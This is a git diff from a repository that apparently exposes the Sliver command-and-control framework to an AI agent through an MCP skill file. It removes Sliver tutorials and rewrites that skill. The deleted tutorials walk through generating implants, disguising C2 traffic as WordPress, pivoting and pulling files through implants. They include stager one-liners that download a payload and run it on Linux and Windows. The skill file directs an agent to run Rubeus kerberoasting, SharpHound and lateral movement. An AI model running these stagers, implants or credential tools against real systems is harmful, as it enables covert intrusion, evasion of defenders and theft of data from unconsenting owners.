a/capabilities/sliver-c2/docs/sliver/reference/transport-encryption.md +++ /dev/null @@ -1,47 +0,0 @@ -**⚠️ NOTE:** This document does not apply when mTLS or WireGuard are used. - -# Sliver v1.6.x - -The following keys are embedded in each implant at compile time; the server also stores these values in its database, along with the SHA2-256 hash of the implant's peer public key: - -1. Age public key of server -2. Age implant "peer" public key -3. Age implant "peer" private key -4. A minisign signature of the implant's age peer public key (signed by server's private key) -5. The server's minisign public key - -### Server to Implant Key Exchange - -1. Implant generates random 256-bit symmetric "session key" -2. Implant generates: - -- Calculate the HMAC-SHA2-256 of the session key, where the HMAC key is the SHA2-256 hash of the peer private key -- Uses Age to encrypt the session key and HMAC-SHA256 with the server's public key - -3. Implant sends `[SHA2-256 Hash of Public Key | Age Ciphertext ]` to server. -4. Server decrypts message with its private key -5. Server generates a session ID, encrypts it with the session key using ChaCha20Poly1305, and sends it back -6. All messages are encrypted with the session key using ChaCha20Poly1305 and associated with the session ID -7. Each side stores a SHA2-256 hash of each message's ciphertext to detect replayed messages - -### Implant to Implant Key Exchange (Pivots) - -1. An implant starts a pivot listener (the listener) -2. Another implant connects to the listener (the initiator) -3. The initiator sends its Age public key and the minisign signature of its public key -4. The listener verifies the initiator's public key is signed by the listener's server's minisign public key -5. The listener generates a random session key and encrypts it with the initiator's verified public key -6. The listener sends its Age public key, the minisign signature of its public key, and the encrypted session key back to the initiator -7. The initiator verifies the listener's public key is signed by the initiator's server's minisign public key -8. The initiator decrypts the session key using Age -9. All messages are encrypted with the session key using ChaCha20Poly1305 -10. Each side stores a SHA2-256 hash of each message's ciphertext to detect replayed messages -11. The initiator then performs a key exchange with the server using the server's embedded Age public key and the same pattern described above. This prevents upstream implants (i.e. the listener) from being able to decrypt any traffic sent between the initiator and the server. - -### Known Limitations - -There are some known limitations, if you spot any or have ideas on improvements please file a ticket or contact us. - -1. Perfect Forward Secrecy: We do get some forward secrecy, since only the public-key-encrypted version of the session key is sent over the wire; therefore, recovery of the hard-coded implant keys from the binary should not result in recovery of the session key. Only when the server's private key is compromised can the session key be recovered, which we currently don't consider to be a problem. -2. Implants can potentially be tracked via the hash of their public key. However, this value is implant-specific, so in order to track the implant this way you'd have to already have a copy of the specific implant you want to track. At which point more effective tracking mechanisms like YARA rules could be employed. -3. While messages cannot be replayed, valid messages can potentially be re-ordered. diff --git a/capabilities/sliver-c2/docs/sliver/tutorials/1---getting-started.md b/capabilities/sliver-c2/docs/sliver/tutorials/1---getting-started.md deleted file mode 100644 index 409f4b2..0000000 --- a/capabilities/sliver-c2/docs/sliver/tutorials/1---getting-started.md +++ /dev/null @@ -1,93 +0,0 @@ -`sliver-server` is the binary you want to use to run the Sliver C2 server, `sliver-client` is solely a client to connect to a Sliver C2 server. Sliver server also acts as a client on its own, so you don’t necessarily run sliver server and client separately. - -First time running Sliver will take a couple seconds as it's retrieving its dependencies. Consecutive executions will be much faster. Go ahead and launch the `sliver-server`. - -```asciinema -{"src": "/asciinema/startup.cast", "cols": "132", "rows": "28", "idleTimeLimit": 8} -``` - -Let's take a couple minutes to discuss what Sliver actually is and how it's set up. - -![Alt text](/images/Architecture.png) - -Now that Sliver is running, lets generate and execute your first implant to try out some of the basic features of Sliver, for now we’re going to run everything on the local host. - -Here's what we're going to do: -* Generate your implant using the `generate` command as shown below. -* Start HTTP listener on port 80 -* Execute implant in a separate terminal - -```asciinema -{"src": "/asciinema/first-implant.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8} -``` - -Now let’s select our implant and run our first command using the `use` command. - -```bash -[server] sliver > use -? Select a session or beacon: -SESSION 1884a365 RELATED_EARDRUM [::1]:49153 test.local tester darwin/amd64 -[*] Active session RELATED_EARDRUM (1884a365-085f-4506-b28e-80c481730fd0) - -[server] sliver (RELATED_EARDRUM) > pwd - -[*] /Users/tester/tools -``` - -Once you have reached this point, go ahead and explore some of the commands listed below. In each case, first check out the command's help using the **`-h`** flag then try it out! - -```bash -Exploring and interacting with the filesystem - -Filesystem - cat Dump file to stdout - cd Change directory - cp Copy a file - download Download a file - grep Search for strings that match a regex within a file or directory - head Grab the first number of bytes or lines from a file - ls List current directory - mkdir Make a directory - mv Move or rename a file - pwd Print working directory - rm Remove a file or directory - tail Grab the last number of bytes or lines from a file - upload Upload a file -``` - -```asciinema -{"src": "/asciinema/filesystem.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8} -``` - -Getting some environmental information -```bash -Info - env List environment variables - getgid Get session process GID - getpid Get session pid - getuid Get session process UID - info Get session info - ping Send round trip message to implant (does not use ICMP) - whoami Get session user execution context -``` -Execute a binary - -```asciinema -{"src": "/asciinema/execute.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8} -``` - -Running an interactive shell - -```asciinema -{"src": "/asciinema/shell.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8} -``` - -Not all commands are supported for all operating systems or meant to be used on all operating systems, here are a few examples: - -``` -mount Get information on mounted filesystems (only for Windows and Linux) -screenshot Take a screenshot (only for Windows and Linux) -memfiles List current memfiles (Linux only) -``` - -This is an open-source project if you see a bug please file an issue! Pull requests are always welcome. \ No newline at end of file diff --git a/capabilities/sliver-c2/docs/sliver/tutorials/2---beacons-vs-sessions.md b/capabilities/sliver-c2/docs/sliver/tutorials/2---beacons-vs-sessions.md deleted file mode 100644 index 53dd99a..0000000 --- a/capabilities/sliver-c2/docs/sliver/tutorials/2---beacons-vs-sessions.md +++ /dev/null @@ -1,92 +0,0 @@ -Sliver implants support two types of connections, sessions and beacons. - -Sessions use long-polling connections, which means they constantly maintain a single TCP connection open while communicating with the server. Beacons on the other hand call back periodically and will sleep when not active which can help keep their presence hidden. You could limit callbacks to once every 6 hours for example and only 'activate' the beacon when needed by switching its sleeping time to a shorter duration. - -Typically during an engagement you will want to deploy a beacon on the target system and switch to a session while doing more active enumeration. - -Let’s start with generating and deploying a beacon using `http`. - -```asciinema -{"src": "/asciinema/beacon_generation.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8} -``` - -You can see the beacon callback times either in the `info` command or using `beacons watch`. - -```bash -[server] sliver > beacons watch - - ID Name Transport Username Operating System Last Check-In Next Check-In -========== =============== =========== ================= ================== =============== =============== - 942c647c TIRED_GIRAFFE http(s) tester darwin/amd64 52s 12s - -``` - -Beacon callback times and jitter can be set either during generation or on the fly using the `reconfig` command. - -The example below sets the callback time to 5s with a 1s jitter. - -```bash -[server] sliver (TIRED_GIRAFFE) > reconfig -i 5s -j 1s - -[*] Tasked beacon TIRED_GIRAFFE (b8aa6fd8) - -[+] TIRED_GIRAFFE completed task b8aa6fd8 - -[*] Reconfigured beacon - -[server] sliver (TIRED_GIRAFFE) > info - - Beacon ID: 942c647c-8409-4877-9fa2-b84a7f27ad45 - Name: TIRED_GIRAFFE - Hostname: tester.local - UUID: c6de1a44-016a-5fbe-b76a-da56af41316d - Username: tester - UID: 501 - GID: 20 - PID: 55879 - OS: darwin - Version: - Locale: - Arch: amd64 - Active C2: https://127.0.0.1 - Remote Address: 127.0.0.1:51803 - Proxy URL: - Interval: 1m0s - Jitter: 30s - First Contact: Wed Apr 19 01:14:21 CEST 2023 (10m30s ago) - Last Checkin: Wed Apr 19 01:18:20 CEST 2023 (6m31s ago) - Next Checkin: Wed Apr 19 01:19:46 CEST 2023 (5m5s ago) -``` - -Commands issued for beacons can be viewed using `tasks`, the task state will indicate whether the command has completed or not. The results of previously run tasks can be viewed using `tasks fetch`. - -```asciinema -{"src": "/asciinema/beacon_tasks.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8} -``` - -Session can be spun up in our beacon process using the `interactive` command. Under the hood this will spawn a goroutine running session connection loop in the same beacon process. - -```asciinema -{"src": "/asciinema/beacon_interractive.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8} -``` - -Because of the differences between sessions and beacons, certain commands like `upload` or `download` are slower on beacons due to the callback time. Others such as socks5 are only supported for sessions. As a rule of thumb anything requiring higher network bandwidth should be run from a session. - -Let’s switch to our newly created session and spin-up a `socks5` proxy. - -```bash - -[server] sliver (TIRED_GIRAFFE) > use - -? Select a session or beacon: SESSION 131a60b9 TIRED_GIRAFFE 127.0.0.1:51969 tester.local tester darwin/amd64 -[*] Active session TIRED_GIRAFFE (131a60b9-db4f-4913-9064-18a17a0f09ab) - -[server] sliver (TIRED_GIRAFFE) > socks5 start - -[*] Started SOCKS5 127.0.0.1 1081 -⚠️ In-band SOCKS proxies can be a little unstable depending on protocol -``` - -You can then point your browser to port 1081 to tunnel traffic through the implant to your target’s local network. - -Try out some of the previous commands and compare behaviour on beacons and sessions. Once you are done, you should remember to close your session thread using the `close` command. diff --git a/capabilities/sliver-c2/docs/sliver/tutorials/3---c2-profiles-and-configuration.md b/capabilities/sliver-c2/docs/sliver/tutorials/3---c2-profiles-and-configuration.md deleted file mode 100644 index 7281338..0000000 --- a/capabilities/sliver-c2/docs/sliver/tutorials/3---c2-profiles-and-configuration.md +++ /dev/null @@ -1,29 +0,0 @@ -When generating implants Sliver uses a C2Profile configuration to define how implant callbacks will look over HTTP/s. This allowed operators to control headers, cookies proxies, URL paths and so on. When the implant is generated the sliver server will then select portions of that configuration to generate the implant C2Profile. - -For example if configured to use `/admin` and `/demo` as callback urls, it might use one, the other or both depending on your configuration allowing two implants using the same configuration to still seem slightly different from a network traffic perspective. - -C2 profile configurations can be seen using the `c2profile` command, which also has import and export features. - -The full list of possible configuration option can be found in the references section below, but for now lets instead customise the existing configuration. - -Lets imagine we’re trying to breach a customer and want to look like we're talking to Wordpress. -We would want to update the session messages and staging with something more realistic and replace all references to `woff` for example with something less suspicious like `css`, `js` or `php`. - -We would also use a list of common Urls and filenames for Wordpress like `https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-wordpress-3.3.1.txt` for the `files` and `paths` variables. You could alternatively reuse Urls discovered while enumerating your target's external perimeter in a similar way. - -You can use `c2profiles generate -f urls-wordpress-3.3.1.txt -n wordpress -i` to generate a new c2 profile using the urls we just downloaded. By default this command will use the default c2 profile as a template for all other variables, if you want to edit any of those you can export and re-import the modified profile. - -At this point we can generate a new implant using our new profile. - -```asciinema -{"src": "/asciinema/implant_custom_c2profile.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8} -``` - -If we review the debug logs of our implant we can see that the connections now use our new profile. - -```asciinema -{"src": "/asciinema/implant_debug_logs.cast", "cols": "132", "rows": "28", "idleTimeLimit": 8} -``` - -Ideally during engagements your recon phase should inform your C2 infrastructure, reusing similar hosting providers, technologies and communication protocols can help your implant fly under the radar. - diff --git a/capabilities/sliver-c2/docs/sliver/tutorials/4---http-payload-staging.md b/capabilities/sliver-c2/docs/sliver/tutorials/4---http-payload-staging.md deleted file mode 100644 index cb08e7b..0000000 --- a/capabilities/sliver-c2/docs/sliver/tutorials/4---http-payload-staging.md +++ /dev/null @@ -1,45 +0,0 @@ -When using Sliver during a live engagement, you’re going to need to use custom stagers, which are essentially a first binary or commandline that will retrieve and/or load Sliver into memory on your target system. Sliver can generate shellcode for your stager to execute by using the `profiles` command. - -For this exercise, we will create a new beacon profile and prepare to stage it. - -```asciinema -{"src": "/asciinema/create_profile.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8} -``` - -If you look at the generated implant, you'll notice the `ID` field has been populated. When downloading your payload from the staging server your URL needs to be in the form of: -``` -https://sliver-ip/definitely/not/malware?x=yourID -``` - -There is a lot of flexibility in the form of this URL, the conditions for successful staging are: -* There has to be http url parameter containing the implant ID -* The digits found in the ID need to match an implant ID, if your implant ID is 1234, abcd1234, 12beu34 are all valid values - -To expose a payload, you need to use the `implants stage` command and specifically select the implant to leave accessible. - -```asciinema -{"src": "/asciinema/stage_implant.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8} -``` - -At this point we can try retrieving our implant. The ID is 19778. - -```asciinema -{"src": "/asciinema/implant_curl.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8} -``` - -Sliver staging also supports encoding or encrypting our payloads before exposing them externally using the `profile stage` command, the implant configuration remains the same but you are now able to stage different versions of it simultaneously. - -```asciinema -{"src": "/asciinema/stage_compress_encrypt.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8} -``` - -A simple stager could look like this, for example in Linux: - -``` -curl http://localhost/nothingtoseehere.yml?c=1234 --output nothingtoseehere && chmod u+x nothingtoseehere &&nohup ./nothingtoseehere -``` - -Or on Windows: -``` -curl http://172.20.10.3/test.woff?a=29178 -o t.exe && .\t.exe -``` diff --git a/capabilities/sliver-c2/docs/sliver/tutorials/5---pivots.md b/capabilities/sliver-c2/docs/sliver/tutorials/5---pivots.md deleted file mode 100644 index 51d1149..0000000 --- a/capabilities/sliver-c2/docs/sliver/tutorials/5---pivots.md +++ /dev/null @@ -1,56 +0,0 @@ -Pivots allow routing implant traffic through other implants. This can be useful in environments that don’t have any outbound access, but are reachable from other parts of the network that you have access to. - -Sliver supports two types of pivots: TCP, which can be used on all operating systems, and named pipes, which are Windows-only. - -In both cases the workflow is relatively similar, as a first step, select a session and set up a pivot listener. - -```bash -[server] sliver (INNER_GO-KART) > pivots tcp - -[*] Started tcp pivot listener :9898 with id 1 - -[server] sliver (INNER_GO-KART) > pivots - - ID Protocol Bind Address Number Of Pivots -==== ========== ============== ================== - 1 TCP :9898 0 -``` - -The listening port and interface can be configured during creation. - -The next step is to generate a payload that will connect to our listener. - -```bash -[server] sliver (INNER_GO-KART) > generate --tcp-pivot 127.0.0.1 --os macos - -[*] Generating new darwin/amd64 implant binary -[*] Symbol obfuscation is enabled -[*] Build completed in 12s -[*] Implant saved to /Users/tester/tools/VALUABLE_SICK -``` - -Executing this payload will cause it to connect back through our original implant and then back to our C2 server. - -```asciinema -{"src": "/asciinema/tcppivot.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8} -``` - -As mentionned before named pipe pivots use a similar process, first you need to create a listener: - -```bash -[server] sliver (WARM_DRIVEWAY) > pivots named-pipe --bind foobar - -[*] Started named pipe pivot listener \\.\pipe\foobar with id 1 - -``` - -You can then generate an implant connecting to it - -```bash -sliver > generate --os windows --debug --skip-symbols --named-pipe ./pipe/foobar - -[*] Generating new windows/amd64 implant binary -[*] Build completed in 1s -[*] Implant saved to /Users/tester/code/sliver/PROPER_SING.exe -``` - diff --git a/capabilities/sliver-c2/docs/sliver/tutorials/6---scripting.md b/capabilities/sliver-c2/docs/sliver/tutorials/6---scripting.md deleted file mode 100644 index 2a11ed5..0000000 --- a/capabilities/sliver-c2/docs/sliver/tutorials/6---scripting.md +++ /dev/null @@ -1,218 +0,0 @@ -Reactions are a basic way to automate tasks in the sliver console, they allow you to specify sliver commands to run on a list of events. - -```bash -Reactable Events: - session-connected Triggered when a new session is opened to a target - session-updated Triggered on changes to session metadata -session-disconnected Triggered when a session is closed (for any reason) - canary Triggered when a canary is burned or created - watchtower Triggered when implants are discovered on threat intel platforms - loot-added Triggered when a new piece of loot is added to the server - loot-removed Triggered when a piece of loot is removed from the server -``` - -Let’s go ahead and create a reaction to list the current directory and environment variables when a new session checks in. - -```bash -reaction set -e "session-connected" - -[*] Setting reaction to: Session Opened - -? Enter commands: [Enter 2 empty lines to finish]pwd -env -? Enter commands: -pwd -env - -[*] Set reaction to session-connected (id: 1) -``` - -The reaction is now set, if you spin up a new session these commands will be automatically run on that session’s initial connection. - -```bash -[*] Session 99c7a639 UNEXPECTED_PORTER - 127.0.0.1:59966 (test.local) - darwin/amd64 - Thu, 04 May 2023 09:04:58 CEST - -[*] Execute reaction: 'pwd' - -[*] /Users/tester - -[*] Execute reaction: 'env' - -PWD=/Users/tester -COLORTERM=truecolor -... -``` - -You can remove reactions using `reaction unset`. - -However, there are a couple of limitations to keep in mind when using reactions, first off, these are run in the console you are currently using, which is not necessarily the server console. So if you are connected to a sliver server using the sliver client, if you disconnect the client the reactions are no longer running. - -Secondly reactions are a relatively basic mechanism, you can’t use any conditional statements or more complex background tasks with them. For more complex use-cases you can instead write your own client in Python or Typescript for example to connect to the server over gRPC, which we’ll cover next. - -## Sliver-py - -For the purposes of this tutorial we’ll write our extensions using Python3, however the same result is achievable using Typescript, Golang or any other language that can handle gRPC. - -First, install the sliver-py extension using pip. - -```bash -pip3 install sliver-py -``` - -Since our extension is essentially going to be another client connection to the sliver server, you’ll also need to enable multiplayer mode and generate a new profile - -```bash -[server] sliver > multiplayer - -[*] Multiplayer mode enabled! - -[server] sliver > new-operator -n tester -l 127.0.0.1 - -[*] Generating new client certificate, please wait ... -[*] Saved new client config to: /Users/tester/tools/tester_127.0.0.1.cfg -``` - -We now have everything we need to start writing our scripts, let’s run our first example interactively in a Python shell. -We first need to import a few dependencies, `SliverClientConfig`, which is used to parse the client config we’ve just created, and `SliverClient`, which will handle the connection to the backend server. - -```bash -Python 3.9.16 (main, Dec 7 2022, 10:06:04) -Type 'copyright', 'credits' or 'license' for more information -IPython 8.0.1 -- An enhanced Interactive Python. Type '?' for help. - -In [1]: from sliver import SliverClientConfig, SliverClient - -In [2]: DEFAULT_CONFIG = "/Users/tester/tools/tester_127.0.0.1.cfg" - -In [3]: config = SliverClientConfig.parse_config_file(DEFAULT_CONFIG) - -In [4]: client = SliverClient(config) - -In [5]: await client.connect() -Out[5]: -Major: 1 -Minor: 5 -Patch: 37 -Commit: "0a43dc688ffb31a0a38511c47e8547a44a6918d4" -CompiledAt: 1681408237 -OS: "darwin" -Arch: "arm64" -``` - -From this point on we can use the client object to interact with the server, let’s start with listing any sessions or beacons that might be currently connected. - -```bash -In [6]: beacons = await client.beacons() - -In [7]: sessions = await client.sessions() - -In [8]: beacons -Out[8]: [] - -In [9]: sessions -Out[9]: -[ID: "f80ec897-0870-4f03-a1b1-364e5a0d243c" - Name: "UNEXPECTED_PORTER" - Hostname: "test.local" - UUID: "c6de1a44-016a-5fbe-b76a-da56af41316d" - Username: "tester" - UID: "501" - GID: "20" - OS: "darwin" - Arch: "amd64" - Transport: "http(s)" - RemoteAddress: "127.0.0.1:60218" - PID: 74773 - Filename: "/Users/tester/tools/UNEXPECTED_PORTER" - LastCheckin: 1683185925 - ActiveC2: "http://127.0.0.1" - ReconnectInterval: 60000000000 - PeerID: 4416183373589698218 - FirstContact: 1683185429] -``` - -To run commands on this session you’ll need to create an InteractiveSession object. - -```bash -In [10]: interact = await client.interact_session("f80ec897-0870-4f03-a1b1-364e5a0d243c") - -In [11]: await interact.pwd() -Out[11]: Path: "/Users/tester" -``` - -Now that we’ve got the basics of connecting to sliver and running commands down let’s write a more useful script that will display the hosts file when a new session checks in. Our goal is to first identify the Operating System, and then based on that retrieve and display the contents of the hosts file if it exists. Because this script will wait and react to events emitted by the Sliver server, we’re going to use `asyncio` to write our client. - -```bash -#!/usr/bin/env python3 - -import os -import asyncio -from sliver import SliverClientConfig, SliverClient -import gzip - -DEFAULT_CONFIG = "/Users/tester/tools/neo_127.0.0.1.cfg" - -async def main(): - ''' Client connect example ''' - config = SliverClientConfig.parse_config_file(DEFAULT_CONFIG) - client = SliverClient(config) - await client.connect() - - async for event in client.on('session-connected'): - print('Session %s just connected !' % event.Session.ID) - -if __name__ == '__main__': - loop = asyncio.get_event_loop() - loop.run_until_complete(main()) -``` - -As shown above we can access the session object through `event.Session`. Let’s go ahead and add a few conditions based on the operating system. - -```bash -if event.Session.OS == "darwin": - print('Session is running on macOS') - -elif event.Session.OS == "Linux": - print('Session is running on Linux') -elif event.Session.OS == "Windows" - print('Session is running on Windows') -else: - print('Session is running on %s', event.Session.OS) -``` - -Let’s set up an InteractiveSession object like previously. - -```bash -interact = await client.interact_session(event.Session.ID) -``` - -We’re going to start with writing the code for Linux and macOS, since in their case the file is located in the same place. First we check if the file exists, then we download and decompress it to display its contents using gzip. - -```bash -file_listing = await interact.ls("/etc/hosts") -if file_listing.Exists: - gzipFile = await interact.download("/etc/hosts") - contents = gzip.decompress(gzipFile.Data) - print('%r' % contents) -``` - -The code for Windows is relatively similar the only major difference being the file location. - -```bash -file_listing = await interact.ls("C:/Windows/System32/drivers/etc/hosts") -if file_listing.Exists: - gzipFile = await interact.download("C:/Windows/System32/drivers/etc/hosts") - contents = gzip.decompress(gzipFile.Data) - print('%r' % contents) -``` - -If we run our script and spin up a few sessions we should start to see hosts files being retrieved. - -```bash -python3.11 autocat.py -Automatically interacting with session 16338c85-b670-44ab-ac83-2df885654b07 -b"# Copyright (c) 1993-2009 Microsoft Corp.\r\n#\r\n# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.\r\n#\r\n# ... - -Automatically interacting with session 93fcbab2-f00d-44a4-944a-e1ea8ec324e2 -b'##\n# Host Database\n#\n# localhost is used to configure the loopback interface\n# when the system is booting. Do not change this entry.\n##\n127.0.0.1... -``` diff --git a/capabilities/sliver-c2/docs/sliver/tutorials/7---assemblies-and-bofs.md b/capabilities/sliver-c2/docs/sliver/tutorials/7---assemblies-and-bofs.md deleted file mode 100644 index 72c39dd..0000000 --- a/capabilities/sliver-c2/docs/sliver/tutorials/7---assemblies-and-bofs.md +++ /dev/null @@ -1,94 +0,0 @@ -The Sliver armory is used to install and maintain third party extensions and aliases within sliver. The full list of available extensions can be found at https://github.com/sliverarmory/armory, keep in mind this is community maintained so not all modules are necessarily up to date. - -You can download all configured extensions/aliases using the armory command. - -```bash -[server] sliver > armory install all -? Install 18 aliases and 84 extensions? Yes -[*] Installing alias 'SharpSecDump' (v0.0.1) ... done! -[*] Installing alias 'SharpChrome' (v0.0.1) ... done! -[*] Installing alias 'SharpDPAPI' (v0.0.1) ... done! -[*] Installing alias 'SharpMapExec' (v0.0.1) ... done! -[*] Installing alias 'KrbRelayUp' (v0.0.1) ... done! -[*] Installing alias 'SharpRDP' (v0.0.1) ... done! -[*] Installing alias 'SharpUp' (v0.0.1) ... done! -[*] Installing alias 'SharpView' (v0.0.1) ... done! -[*] Installing alias 'SharPersist' (v0.0.1) ... done! -[*] Installing alias 'Sharp WMI' (v0.0.2) ... done! -... -[*] All packages installed -``` - -These commands can then be used in the context of a session or beacon similarly to other commands, with a couple caveats. - -Let’s go ahead and run our first assembly. - -```bash -[server] sliver (UNABLE_PRIDE) > seatbelt " WindowsCredentialFiles" - -[*] seatbelt output: - - %&&@@@&& - &&&&&&&%%%, #&&@@@@@@%%%%%%###############% - &%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%% -%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################((((((((((((((((((( -#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################((((((((((((((((((( -#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#(((((((((( -#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####(((((((( -#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((##### -###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((##### -#####%###################### %%%.. @////(((&%%%%%%%################ - &%& %%%%% Seatbelt %////(((&%%%%%%%%#############* - &%%&&&%%%%% v1.1.1 ,(((&%%%%%%%%%%%%%%%%%, - #%%%%##, - -====== WindowsCredentialFiles ====== - - Folder : C:\Users\defaultuser0\AppData\Local\Microsoft\Credentials\ - - ... -``` - -As you can see Sliver ran the Seatbelt assembly and provided us with the output of our command. - -## Bof’s - -Beacon object files are loaded using trustedsec’s coffloader. When you run a bof command the loader will first be loaded into memory and is used to run whichever bof you choose. From an operator’s perspective bof’s are similar to basic sliver commands. - -```bash -[server] sliver (UNABLE_PRIDE) > sa-whoami - -[*] Successfully executed sa-whoami (coff-loader) -[*] Got output: - -UserName SID -====================== ==================================== -test.local\tester - -GROUP INFORMATION Type SID Attributes -================================================= ===================== ============================================= ================================================== -test.local\None Group S-1-5-21-3109228153-3872411817-1195593578-513 Mandatory group, Enabled by default, Enabled group, -Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group, -NT AUTHORITY\Local account and member of Administrators groupWell-known group S-1-5-114 -BUILTIN\Administrators Alias S-1-5-32-544 -BUILTIN\Performance Log Users Alias S-1-5-32-559 Mandatory group, Enabled by default, Enabled group, -BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group, -NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group, -CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group, -NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group, -NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group, -NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group, -LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group, -NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group, -Mandatory Label\Medium Mandatory Level Label S-1-16-8192 Mandatory group, Enabled by default, Enabled group, - -Privilege Name Description State -============================= ================================================= =========================== -SeShutdownPrivilege Shut down the system Disabled -SeChangeNotifyPrivilege Bypass traverse checking Enabled -SeUndockPrivilege Remove computer from docking station Disabled -SeIncreaseWorkingSetPrivilege Increase a process working set Disabled -SeTimeZonePrivilege Change the time zone Disabled -``` - -Since these payloads are run in-process, they have similar advantages and drawbacks as in-process assemblies, meaning no new processes are spawned on execution, but a crash risks losing the implant. diff --git a/capabilities/sliver-c2/skills/sliver-c2/SKILL.md b/capabilities/sliver-c2/skills/sliver-c2/SKILL.md index c768e0d..3585d9a 100644 --- a/capabilities/sliver-c2/skills/sliver-c2/SKILL.md +++ b/capabilities/sliver-c2/skills/sliver-c2/SKILL.md @@ -10,7 +10,7 @@ description: Use when operating Sliver C2 implants, managing listeners, or perfo - **Sessions**: Real-time interactive. Use for active enumeration. Higher detection risk. - **Beacons**: Async callback with interval + jitter. Use for persistence. Lower detection risk. -Our MCP handles both transparently — `interact(implant_id, implant_type="beacon")` resolves async tasks automatically. Read `docs/sliver/tutorials/2---beacons-vs-sessions.md` for details. +Our MCP handles both transparently — `interact(implant_id, implant_type="beacon")` resolves async tasks automatically. Beacons check in on a set interval with jitter and queue tasks between check-ins; sessions hold a live, interactive connection. See Sliver's "Beacons vs. Sessions" documentation at https://sliver.sh/docs. ## Orientation (do this first) @@ -42,7 +42,7 @@ execute_assembly(assembly_path="/local/Rubeus.exe", arguments="kerberoast /forma execute_assembly(assembly_path="/local/SharpHound.exe", arguments="-c All -d domain.local") ``` -**BOFs** — see `docs/sliver/reference/bof-and-coff-support.md`. Install via Sliver's armory, execute via Sliver CLI. +**BOFs** — Beacon Object Files are small compiled COFF programs that run inside the implant process without spawning a new one. Install via Sliver's armory, execute via Sliver CLI. See Sliver's "BOF and COFF Support" documentation at https://sliver.sh/docs. ## Lateral Movement @@ -54,9 +54,9 @@ execute_assembly(assembly_path="/local/SharpHound.exe", arguments="-c All -d dom **Other options**: `impersonate(username)`, `run_as(username, process_name, args)`, `get_system()`. **Pivoting/Tunneling** — not available via our MCP tools, use Sliver CLI: -- TCP/named pipe pivots: `docs/sliver/reference/pivots.md` -- Port forwarding: `docs/sliver/reference/port-forwarding.md` -- SOCKS proxy: `docs/sliver/reference/reverse-socks.md` +- TCP/named pipe pivots — chain an implant through another implant to reach hosts with no direct route to the C2 server. See Sliver's "Pivots" documentation at https://sliver.sh/docs. +- Port forwarding — forward a local or remote port across the implant link to reach an internal service. See Sliver's "Port Forwarding" documentation at https://sliver.sh/docs. +- SOCKS proxy — open a reverse SOCKS5 proxy through the implant so local tools can reach the target network. See Sliver's "Reverse SOCKS" documentation at https://sliver.sh/docs. ## Execution @@ -69,7 +69,7 @@ execute_assembly(assembly_path="/local/SharpHound.exe", arguments="-c All -d dom ## C2 Transport Selection -Read the full docs at `docs/sliver/c2/`. +Each transport is configured when you start its listener (see Listener Management below). For protocol-specific setup — mTLS, HTTPS, DNS, and WireGuard — see Sliver's C2 documentation at https://sliver.sh/docs. | Transport | Speed | Stealth | Notes | |-----------|-------|---------|-------| @@ -99,4 +99,4 @@ kill_beacon(beacon_id="def-456") # terminate beacon ## Sliver Native MCP -Sliver v1.6+ has built-in MCP support (`docs/sliver/reference/mcp.md`). This provides direct access to ALL Sliver commands. If the native MCP is available, prefer it for commands our wrapper doesn't cover (pivots, SOCKS, port forwarding, armory, implant generation). +Sliver v1.6+ has built-in MCP support — a server that exposes Sliver's full command set to MCP clients. See Sliver's MCP documentation at https://sliver.sh/docs. This provides direct access to ALL Sliver commands. If the native MCP is available, prefer it for commands our wrapper doesn't cover (pivots, SOCKS, port forwarding, armory, implant generation).